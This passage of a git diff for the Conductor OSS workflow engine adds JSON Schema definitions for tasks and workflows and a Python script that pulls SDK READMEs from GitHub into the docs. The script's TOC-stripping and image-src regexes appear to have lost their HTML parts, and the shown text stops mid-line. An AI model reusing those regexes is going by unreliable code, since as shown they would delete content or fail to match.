"ExecutionMetadata": { + "type": "object", + "description": "Execution metadata for capturing operational metadata including enhanced timing measurements", + "properties": { + "serverSendTime": { + "type": "integer", + "description": "Server send time (milliseconds)", + "format": "int64" + }, + "clientReceiveTime": { + "type": "integer", + "description": "Client receive time (milliseconds)", + "format": "int64" + }, + "executionStartTime": { + "type": "integer", + "description": "Execution start time (milliseconds)", + "format": "int64" + }, + "executionEndTime": { + "type": "integer", + "description": "Execution end time (milliseconds)", + "format": "int64" + }, + "clientSendTime": { + "type": "integer", + "description": "Client send time (milliseconds)", + "format": "int64" + }, + "pollNetworkLatency": { + "type": "integer", + "description": "Poll network latency (milliseconds)", + "format": "int64" + }, + "updateNetworkLatency": { + "type": "integer", + "description": "Update network latency (milliseconds)", + "format": "int64" + }, + "additionalContext": { + "type": "object", + "description": "Additional context as Map for flexibility", + "additionalProperties": true + } + } + } + } +} diff --git a/schemas/TaskDef.json b/schemas/TaskDef.json new file mode 100644 index 0000000..c7b0c4e --- /dev/null +++ b/schemas/TaskDef.json @@ -0,0 +1,210 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://conductoross.org/schemas/TaskDef.json", + "title": "TaskDef", + "description": "Task definition schema", + "type": "object", + "required": ["name"], + "properties": { + "name": { + "type": "string", + "description": "Unique name identifying the task", + "minLength": 1 + }, + "description": { + "type": "string", + "description": "Description of the task" + }, + "retryCount": { + "type": "integer", + "description": "Number of times to retry the task on failure", + "minimum": 0, + "default": 3 + }, + "timeoutSeconds": { + "type": "integer", + "description": "Time in seconds after which the task is marked as TIMED_OUT if not completed", + "minimum": 0 + }, + "inputKeys": { + "type": "array", + "description": "List of keys expected in the input", + "items": { + "type": "string" + }, + "default": [] + }, + "outputKeys": { + "type": "array", + "description": "List of keys expected in the output", + "items": { + "type": "string" + }, + "default": [] + }, + "timeoutPolicy": { + "type": "string", + "description": "Policy to apply when task times out", + "enum": ["RETRY", "TIME_OUT_WF", "ALERT_ONLY"], + "default": "TIME_OUT_WF" + }, + "retryLogic": { + "type": "string", + "description": "Mechanism for retry logic", + "enum": ["FIXED", "EXPONENTIAL_BACKOFF", "LINEAR_BACKOFF"], + "default": "FIXED" + }, + "retryDelaySeconds": { + "type": "integer", + "description": "Time in seconds to wait before retrying the task", + "minimum": 0, + "default": 60 + }, + "responseTimeoutSeconds": { + "type": "integer", + "description": "Time in seconds after which the task is re-queued if no response is received", + "minimum": 1, + "default": 3600 + }, + "concurrentExecLimit": { + "type": "integer", + "description": "Maximum number of concurrent task executions", + "minimum": 0 + }, + "inputTemplate": { + "type": "object", + "description": "Template for task input parameters", + "additionalProperties": true, + "default": {} + }, + "rateLimitPerFrequency": { + "type": "integer", + "description": "Maximum number of task executions per rateLimitFrequencyInSeconds", + "minimum": 0 + }, + "rateLimitFrequencyInSeconds": { + "type": "integer", + "description": "Frequency window in seconds for rate limiting", + "minimum": 1 + }, + "isolationGroupId": { + "type": "string", + "description": "Isolation group identifier for task execution" + }, + "executionNameSpace": { + "type": "string", + "description": "Namespace for task execution" + }, + "ownerEmail": { + "type": "string", + "description": "Email address of the task definition owner", + "format": "email" + }, + "pollTimeoutSeconds": { + "type": "integer", + "description": "Time in seconds after which the task poll times out", + "minimum": 0 + }, + "backoffScaleFactor": { + "type": "integer", + "description": "Backoff multiplier for LINEAR_BACKOFF retry logic", + "minimum": 1, + "default": 1 + }, + "baseType": { + "type": "string", + "description": "Base type of the task (for task type inheritance)" + }, + "totalTimeoutSeconds": { + "type": "integer", + "description": "Total timeout including all retries", + "minimum": 0 + }, + "inputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "outputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "enforceSchema": { + "type": "boolean", + "description": "Whether to enforce schema validation", + "default": false + }, + "ownerApp": { + "type": "string", + "description": "Owner application name" + }, + "createTime": { + "type": "integer", + "description": "Creation timestamp in milliseconds", + "format": "int64" + }, + "updateTime": { + "type": "integer", + "description": "Last update timestamp in milliseconds", + "format": "int64" + }, + "createdBy": { + "type": "string", + "description": "User who created this task definition" + }, + "updatedBy": { + "type": "string", + "description": "User who last updated this task definition" + } + }, + "definitions": { + "SchemaDef": { + "type": "object", + "required": ["name", "type"], + "properties": { + "name": { + "type": "string", + "description": "Schema name" + }, + "version": { + "type": "integer", + "description": "Schema version", + "default": 1 + }, + "type": { + "type": "string", + "description": "Schema type", + "enum": ["JSON", "AVRO", "PROTOBUF"] + }, + "data": { + "type": "object", + "description": "Schema definition data", + "additionalProperties": true + }, + "externalRef": { + "type": "string", + "description": "External schema reference (e.g., schema registry reference)" + }, + "ownerApp": { + "type": "string", + "description": "Owner application" + }, + "createTime": { + "type": "integer", + "description": "Creation timestamp", + "format": "int64" + }, + "updateTime": { + "type": "integer", + "description": "Update timestamp", + "format": "int64" + }, + "createdBy": { + "type": "string", + "description": "Creator" + }, + "updatedBy": { + "type": "string", + "description": "Last updater" + } + } + } + } +} diff --git a/schemas/Workflow.json b/schemas/Workflow.json new file mode 100644 index 0000000..506c5e3 --- /dev/null +++ b/schemas/Workflow.json @@ -0,0 +1,436 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://conductoross.org/schemas/Workflow.json", + "title": "Workflow", + "description": "Workflow runtime instance schema", + "type": "object", + "required": ["workflowId", "workflowDefinition"], + "properties": { + "status": { + "type": "string", + "description": "Current status of the workflow", + "enum": ["RUNNING", "COMPLETED", "FAILED", "TIMED_OUT", "TERMINATED", "PAUSED"], + "default": "RUNNING" + }, + "endTime": { + "type": "integer", + "description": "End time in milliseconds since epoch", + "format": "int64", + "minimum": 0 + }, + "workflowId": { + "type": "string", + "description": "Unique identifier for the workflow instance" + }, + "parentWorkflowId": { + "type": "string", + "description": "Parent workflow ID if this is a sub-workflow" + }, + "parentWorkflowTaskId": { + "type": "string", + "description": "Parent workflow task ID that spawned this sub-workflow" + }, + "tasks": { + "type": "array", + "description": "List of tasks that have been scheduled, in progress, or completed", + "items": { + "$ref": "#/definitions/Task" + }, + "default": [] + }, + "input": { + "type": "object", + "description": "Input parameters to the workflow", + "additionalProperties": true, + "default": {} + }, + "output": { + "type": "object", + "description": "Output of the workflow", + "additionalProperties": true, + "default": {} + }, + "correlationId": { + "type": "string", + "description": "Correlation ID for the workflow execution" + }, + "reRunFromWorkflowId": { + "type": "string", + "description": "Workflow ID from which this is a re-run" + }, + "reasonForIncompletion": { + "type": "string", + "description": "Reason for workflow incompletion (if not completed successfully)" + }, + "event": { + "type": "string", + "description": "Event that triggered this workflow" + }, + "taskToDomain": { + "type": "object", + "description": "Mapping of task reference names to domain", + "additionalProperties": { + "type": "string" + }, + "default": {} + }, + "failedReferenceTaskNames": { + "type": "array", + "description": "Set of failed task reference names", + "items": { + "type": "string" + }, + "uniqueItems": true, + "default": [] + }, + "failedTaskNames": { + "type": "array", + "description": "Set of failed task names", + "items": { + "type": "string" + }, + "uniqueItems": true, + "default": [] + }, + "workflowDefinition": { + "description": "Workflow definition for this instance", + "type": "object" + }, + "externalInputPayloadStoragePath": { + "type": "string", + "description": "External storage path for workflow input payload" + }, + "externalOutputPayloadStoragePath": { + "type": "string", + "description": "External storage path for workflow output payload" + }, + "priority": { + "type": "integer", + "description": "Priority of the workflow (0-99)", + "minimum": 0, + "maximum": 99, + "default": 0 + }, + "variables": { + "type": "object", + "description": "Workflow variables that can be used across tasks", + "additionalProperties": true, + "default": {} + }, + "lastRetriedTime": { + "type": "integer", + "description": "Last retry timestamp in milliseconds", + "format": "int64", + "minimum": 0 + }, + "history": { + "type": "array", + "description": "History of workflow executions (recursive structure)", + "items": { + "$ref": "#" + }, + "default": [] + }, + "idempotencyKey": { + "type": "string", + "description": "Idempotency key for the workflow" + }, + "rateLimitKey": { + "type": "string", + "description": "Rate limit key" + }, + "rateLimited": { + "type": "boolean", + "description": "Whether the workflow is rate limited", + "default": false + }, + "ownerApp": { + "type": "string", + "description": "Owner application" + }, + "createTime": { + "type": "integer", + "description": "Creation timestamp in milliseconds (start time)", + "format": "int64" + }, + "updateTime": { + "type": "integer", + "description": "Last update timestamp in milliseconds", + "format": "int64" + }, + "createdBy": { + "type": "string", + "description": "User who created/started this workflow" + }, + "updatedBy": { + "type": "string", + "description": "User who last updated this workflow" + } + }, + "definitions": { + "Task": { + "type": "object", + "required": ["taskType", "taskId", "workflowInstanceId"], + "properties": { + "taskType": { + "type": "string", + "description": "Type of the task" + }, + "status": { + "type": "string", + "description": "Current status of the task", + "enum": [ + "IN_PROGRESS", + "CANCELED", + "FAILED", + "FAILED_WITH_TERMINAL_ERROR", + "COMPLETED", + "COMPLETED_WITH_ERRORS", + "SCHEDULED", + "TIMED_OUT", + "SKIPPED" + ] + }, + "inputData": { + "type": "object", + "description": "Input data for the task", + "additionalProperties": true, + "default": {} + }, + "referenceTaskName": { + "type": "string", + "description": "Reference name of the task from the workflow definition" + }, + "retryCount": { + "type": "integer", + "description": "Number of times this task has been retried", + "minimum": 0, + "default": 0 + }, + "seq": { + "type": "integer", + "description": "Sequence number of this task in the workflow", + "minimum": 0 + }, + "correlationId": { + "type": "string", + "description": "Correlation ID for the task" + }, + "pollCount": { + "type": "integer", + "description": "Number of times this task has been polled", + "minimum": 0, + "default": 0 + }, + "taskDefName": { + "type": "string", + "description": "Task definition name" + }, + "scheduledTime": { + "type": "integer", + "description": "Time when the task was scheduled (milliseconds)", + "format": "int64" + }, + "startTime": { + "type": "integer", + "description": "Time when the task was first polled (milliseconds)", + "format": "int64" + }, + "endTime": { + "type": "integer", + "description": "Time when the task completed (milliseconds)", + "format": "int64" + }, + "updateTime": { + "type": "integer", + "description": "Time when the task was last updated (milliseconds)", + "format": "int64" + }, + "startDelayInSeconds": { + "type": "integer", + "description": "Delay in seconds before starting the task", + "minimum": 0, + "default": 0 + }, + "retriedTaskId": { + "type": "string", + "description": "Task ID of the retried task" + }, + "retried": { + "type": "boolean", + "description": "Whether this task has been retried", + "default": false + }, + "executed": { + "type": "boolean", + "description": "Whether this task has completed its lifecycle", + "default": false + }, + "callbackFromWorker": { + "type": "boolean", + "description": "Whether callback is expected from worker", + "default": true + }, + "responseTimeoutSeconds": { + "type": "integer", + "description": "Response timeout in seconds", + "format": "int64", + "minimum": 0 + }, + "workflowInstanceId": { + "type": "string", + "description": "ID of the workflow instance this task belongs to" + }, + "workflowType": { + "type": "string", + "description": "Type/name of the workflow" + }, + "taskId": { + "type": "string", + "description": "Unique identifier for this task instance" + }, + "reasonForIncompletion": { + "type": "string", + "description": "Reason for task incompletion (max 500 characters)" + }, + "callbackAfterSeconds": { + "type": "integer", + "description": "Callback delay in seconds", + "format": "int64", + "minimum": 0 + }, + "workerId": { + "type": "string", + "description": "ID of the worker that polled this task" + }, + "outputData": { + "type": "object", + "description": "Output data from the task", + "additionalProperties": true, + "default": {} + }, + "workflowTask": { + "type": "object", + "description": "Workflow task definition associated with this task" + }, + "domain": { + "type": "string", + "description": "Domain for the task execution" + }, + "inputMessage": { + "description": "Input message (protobuf Any type)" + }, + "outputMessage": { + "description": "Output message (protobuf Any type)" + }, + "rateLimitPerFrequency": { + "type": "integer", + "description": "Rate limit per frequency", + "minimum": 0, + "default": 0 + }, + "rateLimitFrequencyInSeconds": { + "type": "integer", + "description": "Rate limit frequency in seconds", + "minimum": 0, + "default": 0 + }, + "externalInputPayloadStoragePath": { + "type": "string", + "description": "External storage path for task input payload" + }, + "externalOutputPayloadStoragePath": { + "type": "string", + "description": "External storage path for task output payload" + }, + "workflowPriority": { + "type": "integer", + "description": "Priority inherited from workflow", + "minimum": 0, + "maximum": 99 + }, + "executionNameSpace": { + "type": "string", + "description": "Execution namespace" + }, + "isolationGroupId": { + "type": "string", + "description": "Isolation group ID" + }, + "iteration": { + "type": "integer", + "description": "Iteration number for loop tasks", + "minimum": 0, + "default": 0 + }, + "subWorkflowId": { + "type": "string", + "description": "Sub-workflow ID if this is a SUB_WORKFLOW task" + }, + "subworkflowChanged": { + "type": "boolean", + "description": "Whether sub-workflow has been modified", + "default": false + }, + "firstStartTime": { + "type": "integer", + "description": "First start time across all retries", + "format": "int64" + }, + "executionMetadata": { + "$ref": "#/definitions/ExecutionMetadata" + }, + "parentTaskId": { + "type": "string", + "description": "Parent task ID if this task has a parent" + } + } + }, + "ExecutionMetadata": { + "type": "object", + "description": "Execution metadata for capturing operational metadata including enhanced timing measurements", + "properties": { + "serverSendTime": { + "type": "integer", + "description": "Server send time (milliseconds)", + "format": "int64" + }, + "clientReceiveTime": { + "type": "integer", + "description": "Client receive time (milliseconds)", + "format": "int64" + }, + "executionStartTime": { + "type": "integer", + "description": "Execution start time (milliseconds)", + "format": "int64" + }, + "executionEndTime": { + "type": "integer", + "description": "Execution end time (milliseconds)", + "format": "int64" + }, + "clientSendTime": { + "type": "integer", + "description": "Client send time (milliseconds)", + "format": "int64" + }, + "pollNetworkLatency": { + "type": "integer", + "description": "Poll network latency (milliseconds)", + "format": "int64" + }, + "updateNetworkLatency": { + "type": "integer", + "description": "Update network latency (milliseconds)", + "format": "int64" + }, + "additionalContext": { + "type": "object", + "description": "Additional context as Map for flexibility", + "additionalProperties": true + } + } + } + } +} diff --git a/schemas/WorkflowDef.json b/schemas/WorkflowDef.json new file mode 100644 index 0000000..34b4098 --- /dev/null +++ b/schemas/WorkflowDef.json @@ -0,0 +1,595 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://conductoross.org/schemas/WorkflowDef.json", + "title": "WorkflowDef", + "description": "Workflow definition schema", + "type": "object", + "required": ["name", "tasks"], + "properties": { + "name": { + "type": "string", + "description": "Unique name identifying the workflow", + "minLength": 1 + }, + "description": { + "type": "string", + "description": "Description of the workflow" + }, + "version": { + "type": "integer", + "description": "Version of the workflow definition", + "default": 1 + }, + "tasks": { + "type": "array", + "description": "List of tasks that make up the workflow", + "minItems": 1, + "items": { + "$ref": "#/definitions/WorkflowTask" + } + }, + "inputParameters": { + "type": "array", + "description": "List of input parameter names", + "items": { + "type": "string" + }, + "default": [] + }, + "outputParameters": { + "type": "object", + "description": "Output parameters mapping", + "additionalProperties": true, + "default": {} + }, + "failureWorkflow": { + "type": "string", + "description": "Name of workflow to execute on failure" + }, + "schemaVersion": { + "type": "integer", + "description": "Schema version", + "minimum": 2, + "maximum": 2, + "default": 2 + }, + "restartable": { + "type": "boolean", + "description": "Whether the workflow can be restarted", + "default": true + }, + "workflowStatusListenerEnabled": { + "type": "boolean", + "description": "Whether workflow status listener is enabled", + "default": false + }, + "ownerEmail": { + "type": "string", + "description": "Email of the workflow owner", + "format": "email" + }, + "timeoutPolicy": { + "type": "string", + "description": "Timeout policy for the workflow", + "enum": ["TIME_OUT_WF", "ALERT_ONLY"], + "default": "ALERT_ONLY" + }, + "timeoutSeconds": { + "type": "integer", + "description": "Timeout in seconds after which workflow is deemed timed out", + "minimum": 0 + }, + "variables": { + "type": "object", + "description": "Global workflow variables", + "additionalProperties": true, + "default": {} + }, + "inputTemplate": { + "type": "object", + "description": "Template for input parameters", + "additionalProperties": true, + "default": {} + }, + "workflowStatusListenerSink": { + "type": "string", + "description": "Sink for workflow status events" + }, + "rateLimitConfig": { + "$ref": "#/definitions/RateLimitConfig" + }, + "inputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "outputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "enforceSchema": { + "type": "boolean", + "description": "Whether to enforce schema validation", + "default": true + }, + "metadata": { + "type": "object", + "description": "Additional metadata", + "additionalProperties": true, + "default": {} + }, + "cacheConfig": { + "$ref": "#/definitions/CacheConfig" + }, + "maskedFields": { + "type": "array", + "description": "List of fields to mask in logs", + "items": { + "type": "string" + }, + "default": [] + }, + "ownerApp": { + "type": "string", + "description": "Owner application" + }, + "createTime": { + "type": "integer", + "description": "Creation timestamp in milliseconds", + "format": "int64" + }, + "updateTime": { + "type": "integer", + "description": "Last update timestamp in milliseconds", + "format": "int64" + }, + "createdBy": { + "type": "string", + "description": "User who created this workflow definition" + }, + "updatedBy": { + "type": "string", + "description": "User who last updated this workflow definition" + } + }, + "definitions": { + "WorkflowTask": { + "type": "object", + "required": ["name", "taskReferenceName"], + "properties": { + "name": { + "type": "string", + "description": "Task name", + "minLength": 1 + }, + "taskReferenceName": { + "type": "string", + "description": "Unique reference name for this task within the workflow", + "minLength": 1 + }, + "description": { + "type": "string", + "description": "Task description" + }, + "inputParameters": { + "type": "object", + "description": "Input parameters for the task", + "additionalProperties": true, + "default": {} + }, + "type": { + "type": "string", + "description": "Task type", + "default": "SIMPLE" + }, + "dynamicTaskNameParam": { + "type": "string", + "description": "Parameter name for dynamic task name" + }, + "caseValueParam": { + "type": "string", + "description": "Case value parameter (deprecated)", + "deprecated": true + }, + "caseExpression": { + "type": "string", + "description": "Case expression (deprecated)", + "deprecated": true + }, + "scriptExpression": { + "type": "string", + "description": "Script expression for script tasks" + }, + "decisionCases": { + "type": "object", + "description": "Decision cases for SWITCH/DECISION tasks", + "additionalProperties": { + "type": "array", + "items": { + "$ref": "#/definitions/WorkflowTask" + } + }, + "default": {} + }, + "dynamicForkTasksParam": { + "type": "string", + "description": "Parameter name for dynamic fork tasks" + }, + "dynamicForkTasksInputParamName": { + "type": "string", + "description": "Input parameter name for dynamic fork tasks" + }, + "defaultCase": { + "type": "array", + "description": "Default case tasks for SWITCH/DECISION", + "items": { + "$ref": "#/definitions/WorkflowTask" + }, + "default": [] + }, + "forkTasks": { + "type": "array", + "description": "Fork tasks for FORK_JOIN", + "items": { + "type": "array", + "items": { + "$ref": "#/definitions/WorkflowTask" + } + }, + "default": [] + }, + "startDelay": { + "type": "integer", + "description": "Start delay in seconds", + "minimum": 0, + "default": 0 + }, + "subWorkflowParam": { + "$ref": "#/definitions/SubWorkflowParams" + }, + "joinOn": { + "type": "array", + "description": "List of task reference names to join on", + "items": { + "type": "string" + }, + "default": [] + }, + "sink": { + "type": "string", + "description": "Sink for EVENT tasks" + }, + "optional": { + "type": "boolean", + "description": "Whether the task is optional", + "default": false + }, + "taskDefinition": { + "$ref": "#/definitions/TaskDef" + }, + "rateLimited": { + "type": "boolean", + "description": "Whether the task is rate limited" + }, + "defaultExclusiveJoinTask": { + "type": "array", + "description": "Default tasks for exclusive join", + "items": { + "type": "string" + }, + "default": [] + }, + "asyncComplete": { + "type": "boolean", + "description": "Whether to wait for async completion", + "default": false + }, + "loopCondition": { + "type": "string", + "description": "Loop condition for DO_WHILE tasks" + }, + "loopOver": { + "type": "array", + "description": "Tasks to loop over in DO_WHILE", + "items": { + "$ref": "#/definitions/WorkflowTask" + }, + "default": [] + }, + "retryCount": { + "type": "integer", + "description": "Number of retries for this task", + "minimum": 0 + }, + "evaluatorType": { + "type": "string", + "description": "Evaluator type for expressions" + }, + "expression": { + "type": "string", + "description": "Expression to evaluate" + }, + "onStateChange": { + "type": "object", + "description": "Events to emit on state change", + "additionalProperties": { + "type": "array", + "items": { + "$ref": "#/definitions/StateChangeEvent" + } + }, + "default": {} + }, + "joinStatus": { + "type": "string", + "description": "Join status criteria" + }, + "cacheConfig": { + "$ref": "#/definitions/CacheConfig" + }, + "permissive": { + "type": "boolean", + "description": "Whether the task is permissive", + "default": false + } + } + }, + "TaskDef": { + "type": "object", + "required": ["name"], + "properties": { + "name": { + "type": "string", + "description": "Unique task name", + "minLength": 1 + }, + "description": { + "type": "string", + "description": "Task description" + }, + "retryCount": { + "type": "integer", + "description": "Number of retries", + "minimum": 0, + "default": 3 + }, + "timeoutSeconds": { + "type": "integer", + "description": "Task timeout in seconds", + "minimum": 0 + }, + "inputKeys": { + "type": "array", + "description": "Expected input keys", + "items": { + "type": "string" + }, + "default": [] + }, + "outputKeys": { + "type": "array", + "description": "Expected output keys", + "items": { + "type": "string" + }, + "default": [] + }, + "timeoutPolicy": { + "type": "string", + "description": "Timeout policy", + "enum": ["RETRY", "TIME_OUT_WF", "ALERT_ONLY"], + "default": "TIME_OUT_WF" + }, + "retryLogic": { + "type": "string", + "description": "Retry logic", + "enum": ["FIXED", "EXPONENTIAL_BACKOFF", "LINEAR_BACKOFF"], + "default": "FIXED" + }, + "retryDelaySeconds": { + "type": "integer", + "description": "Retry delay in seconds", + "default": 60 + }, + "responseTimeoutSeconds": { + "type": "integer", + "description": "Response timeout in seconds", + "minimum": 1, + "default": 3600 + }, + "concurrentExecLimit": { + "type": "integer", + "description": "Concurrent execution limit" + }, + "inputTemplate": { + "type": "object", + "description": "Input template", + "additionalProperties": true, + "default": {} + }, + "rateLimitPerFrequency": { + "type": "integer", + "description": "Rate limit per frequency" + }, + "rateLimitFrequencyInSeconds": { + "type": "integer", + "description": "Rate limit frequency in seconds" + }, + "isolationGroupId": { + "type": "string", + "description": "Isolation group ID" + }, + "executionNameSpace": { + "type": "string", + "description": "Execution namespace" + }, + "ownerEmail": { + "type": "string", + "description": "Owner email", + "format": "email" + }, + "pollTimeoutSeconds": { + "type": "integer", + "description": "Poll timeout in seconds", + "minimum": 0 + }, + "backoffScaleFactor": { + "type": "integer", + "description": "Backoff scale factor for LINEAR_BACKOFF", + "minimum": 1, + "default": 1 + }, + "baseType": { + "type": "string", + "description": "Base task type" + }, + "totalTimeoutSeconds": { + "type": "integer", + "description": "Total timeout in seconds", + "minimum": 0 + }, + "inputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "outputSchema": { + "$ref": "#/definitions/SchemaDef" + }, + "enforceSchema": { + "type": "boolean", + "description": "Whether to enforce schema validation", + "default": false + } + } + }, + "SubWorkflowParams": { + "type": "object", + "properties": { + "name": { + "type": "string", + "description": "Sub-workflow name" + }, + "version": { + "type": "integer", + "description": "Sub-workflow version" + }, + "taskToDomain": { + "type": "object", + "description": "Task to domain mapping", + "additionalProperties": { + "type": "string" + } + }, + "workflowDefinition": { + "description": "Inline workflow definition (can be WorkflowDef object, DSL string, or Map that gets converted)", + "oneOf": [ + { + "type": "object", + "description": "WorkflowDef object or LinkedHashMap" + }, + { + "type": "string", + "pattern": "^\\$\\{.*\\}$", + "description": "DSL expression string" + }, + { + "type": "null" + } + ] + }, + "idempotencyKey": { + "type": "string", + "description": "Idempotency key for the sub-workflow" + }, + "idempotencyStrategy": { + "type": "string", + "description": "Idempotency strategy", + "enum": ["RETURN_EXISTING", "FAIL"] + }, + "priority": { + "description": "Priority of the sub-workflow (can be integer or string expression)", + "oneOf": [ + { + "type": "integer", + "minimum": 0, + "maximum": 99 + }, + { + "type": "string", + "description": "Expression that evaluates to priority" + }, + { + "type": "null" + } + ] + } + } + }, + "SchemaDef": { + "type": "object", + "required": ["name", "type"], + "properties": { + "name": { + "type": "string", + "description": "Schema name" + }, + "version": { + "type": "integer", + "description": "Schema version", + "default": 1 + }, + "type": { + "type": "string", + "description": "Schema type", + "enum": ["JSON", "AVRO", "PROTOBUF"] + }, + "data": { + "type": "object", + "description": "Schema definition data", + "additionalProperties": true + }, + "externalRef": { + "type": "string", + "description": "External schema reference" + } + } + }, + "RateLimitConfig": { + "type": "object", + "properties": { + "rateLimitKey": { + "type": "string", + "description": "Rate limit key" + }, + "concurrentExecLimit": { + "type": "integer", + "description": "Concurrent execution limit (required field, primitive int)" + } + } + }, + "CacheConfig": { + "type": "object", + "properties": { + "key": { + "type": "string", + "description": "Cache key" + }, + "ttlInSecond": { + "type": "integer", + "description": "TTL in seconds (required field, primitive int)" + } + } + }, + "StateChangeEvent": { + "type": "object", + "required": ["type"], + "properties": { + "type": { + "type": "string", + "description": "Type of the state change event" + }, + "payload": { + "type": "object", + "description": "Event payload containing event-specific data", + "additionalProperties": true + } + } + } + } +} diff --git a/scripts/fetch-sdk-docs.py b/scripts/fetch-sdk-docs.py new file mode 100644 index 0000000..ec4b969 --- /dev/null +++ b/scripts/fetch-sdk-docs.py @@ -0,0 +1,300 @@ +#!/usr/bin/env python3 +""" +Fetch SDK README files from GitHub and write them into docs/documentation/clientsdks/. + +Run as part of the docs build or manually: + python3 scripts/fetch-sdk-docs.py + +Each SDK gets a markdown file with: + - Front matter (description) + - The README content with relative paths rewritten to absolute GitHub URLs + - An examples table at the bottom (if the repo has an examples directory) +""" + +import json +import os +import re +import sys +import urllib.request +import urllib.error + +GITHUB_ORG = "conductor-oss" +GITHUB_API = "https://api.github.com" +GITHUB_RAW = "https://raw.githubusercontent.com" +GITHUB_BLOB = "https://github.com" + +DOCS_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), + "docs", "documentation", "clientsdks") + +# SDK definitions: (repo, output_filename, display_name, examples_dir, description) +SDKS = [ + ("java-sdk", "java-sdk.md", "Java", "examples", "Build Conductor workers in Java with automated polling, thread management, and Spring Boot integration."), + ("python-sdk", "python-sdk.md", "Python", "examples", "Build Conductor workers in Python with decorator-based task definitions, async support, and workflow management."), + ("go-sdk", "go-sdk.md", "Go", "examples", "Build Conductor workers in Go with type-safe task definitions and workflow management."), + ("javascript-sdk", "js-sdk.md", "JavaScript", "examples", "Build Conductor workers in JavaScript/TypeScript with workflow management and task polling."), + ("csharp-sdk", "csharp-sdk.md", "C#", "csharp-examples", "Build Conductor workers in C#/.NET with dependency injection, workflow management, and task polling."), + ("ruby-sdk", "ruby-sdk.md", "Ruby", "examples", "Build Conductor workers in Ruby with idiomatic task definitions and workflow management."), + ("rust-sdk", "rust-sdk.md", "Rust", "examples", "Build Conductor workers in Rust with type-safe task definitions and async workflow management."), +] + + +def github_get(url): + """Fetch a URL from GitHub API or raw content.""" + req = urllib.request.Request(url) + token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") + if not token: + # Try gh CLI as fallback + try: + import subprocess + token = subprocess.check_output(["gh", "auth", "token"], stderr=subprocess.DEVNULL).decode().strip() + except Exception: + pass + if token: + req.add_header("Authorization", f"token {token}") + req.add_header("Accept", "application/vnd.github.v3+json") + req.add_header("User-Agent", "conductor-docs-builder") + try: + with urllib.request.urlopen(req, timeout=30) as resp: + return resp.read().decode("utf-8") + except urllib.error.HTTPError as e: + print(f" WARNING: HTTP {e.code} fetching {url}", file=sys.stderr) + return None + except Exception as e: + print(f" WARNING: {e} fetching {url}", file=sys.stderr) + return None + + +def fetch_readme(repo): + """Fetch the raw README.md from a GitHub repo.""" + url = f"{GITHUB_RAW}/{GITHUB_ORG}/{repo}/main/README.md" + content = github_get(url) + if content is None: + # Try master branch + url = f"{GITHUB_RAW}/{GITHUB_ORG}/{repo}/master/README.md" + content = github_get(url) + return content + + +def rewrite_paths(content, repo): + """Rewrite relative paths in markdown to point to GitHub.""" + base_raw = f"{GITHUB_RAW}/{GITHUB_ORG}/{repo}/main" + base_blob = f"{GITHUB_BLOB}/{GITHUB_ORG}/{repo}/blob/main" + + # Rewrite image references: ![alt](relative/path.png) + # Don't touch absolute URLs (http://, https://) + content = re.sub( + r'(!\[[^\]]*\]\()(?!https?://|//)([^)]+)(\))', + lambda m: f'{m.group(1)}{base_raw}/{m.group(2)}{m.group(3)}', + content + ) + + # Rewrite link references: [text](relative/path) but not anchors (#) or absolute URLs + content = re.sub( + r'(\[[^\]]*\]\()(?!https?://|//|#)([^)]+)(\))', + lambda m: f'{m.group(1)}{base_blob}/{m.group(2)}{m.group(3)}', + content + ) + + # Rewrite nested badge links: [![...](badge-url)](relative-path) + # The main regex can't handle nested brackets, so handle this separately + content = re.sub( + r'(\]\()(?!https?://|//|#)([^)]+)(\))\s*$', + lambda m: f'{m.group(1)}{base_blob}/{m.group(2)}{m.group(3)}', + content, + flags=re.MULTILINE + ) + + # Rewrite HTML img src attributes + content = re.sub( + r'(]+src=")(?!https?://|//)([^"]+)(")', + lambda m: f'{m.group(1)}{base_raw}/{m.group(2)}{m.group(3)}', + content + ) + + return content + + +def strip_title(content): + """Remove the first H1 heading (# Title) since we add our own.""" + lines = content.split('\n') + for i, line in enumerate(lines): + stripped = line.strip() + if stripped.startswith('# ') and not stripped.startswith('## '): + lines.pop(i) + # Also remove blank line after title if present + if i < len(lines) and lines[i].strip() == '': + lines.pop(i) + break + return '\n'.join(lines) + + +def strip_preamble(content): + """Remove badges, intro blurb, and star-request that appear before the first ## heading.""" + lines = content.split('\n') + first_h2 = None + for i, line in enumerate(lines): + if line.strip().startswith('## '): + first_h2 = i + break + if first_h2 is None: + return content + # Keep everything from the first ## heading onward + return '\n'.join(lines[first_h2:]) + + +def strip_toc(content): + """Remove HTML comment TOC blocks ( ... ) from README.""" + content = re.sub(r'.*?', '', content, flags=re.DOTALL) + # Also remove markdown-style TOC (indented list of anchor links at the top) + # These are blocks of lines that are all " * [text](#anchor)" or "- [text](#anchor)" + lines = content.split('\n') + result = [] + in_toc = False + for line in lines: + stripped = line.strip() + if stripped and re.match(r'^[-*]\s+\[.*\]\(#', stripped): + in_toc = True + continue + if in_toc and stripped == '': + in_toc = False + continue + if in_toc and re.match(r'^[-*]\s+\[.*\]\(#', stripped): + continue + in_toc = False + result.append(line) + return '\n'.join(result) + + +def fetch_examples(repo, examples_dir): + """Fetch the list of examples from a repo's examples directory.""" + if not examples_dir: + return [] + + url = f"{GITHUB_API}/repos/{GITHUB_ORG}/{repo}/contents/{examples_dir}" + raw = github_get(url) + if raw is None: + return [] + + try: + items = json.loads(raw) + except json.JSONDecodeError: + return [] + + if not isinstance(items, list): + return [] + + examples = [] + for item in sorted(items, key=lambda x: x.get("name", "")): + name = item.get("name", "") + item_type = item.get("type", "") + html_url = item.get("html_url", "") + + # Skip non-interesting files + if name.startswith(".") or name.startswith("__"): + continue + if name in ("go.mod", "go.sum", "build.gradle", "settings.gradle", + "pom.xml", "Cargo.toml", "package.json", "tsconfig.json", + "Dockerfile", "DockerfileMacArm", ".gitignore", + "csharp-examples.csproj"): + continue + if name == "Properties": + continue + + # Format display name from filename + display = name + if item_type == "file": + # Remove extension for display + display = 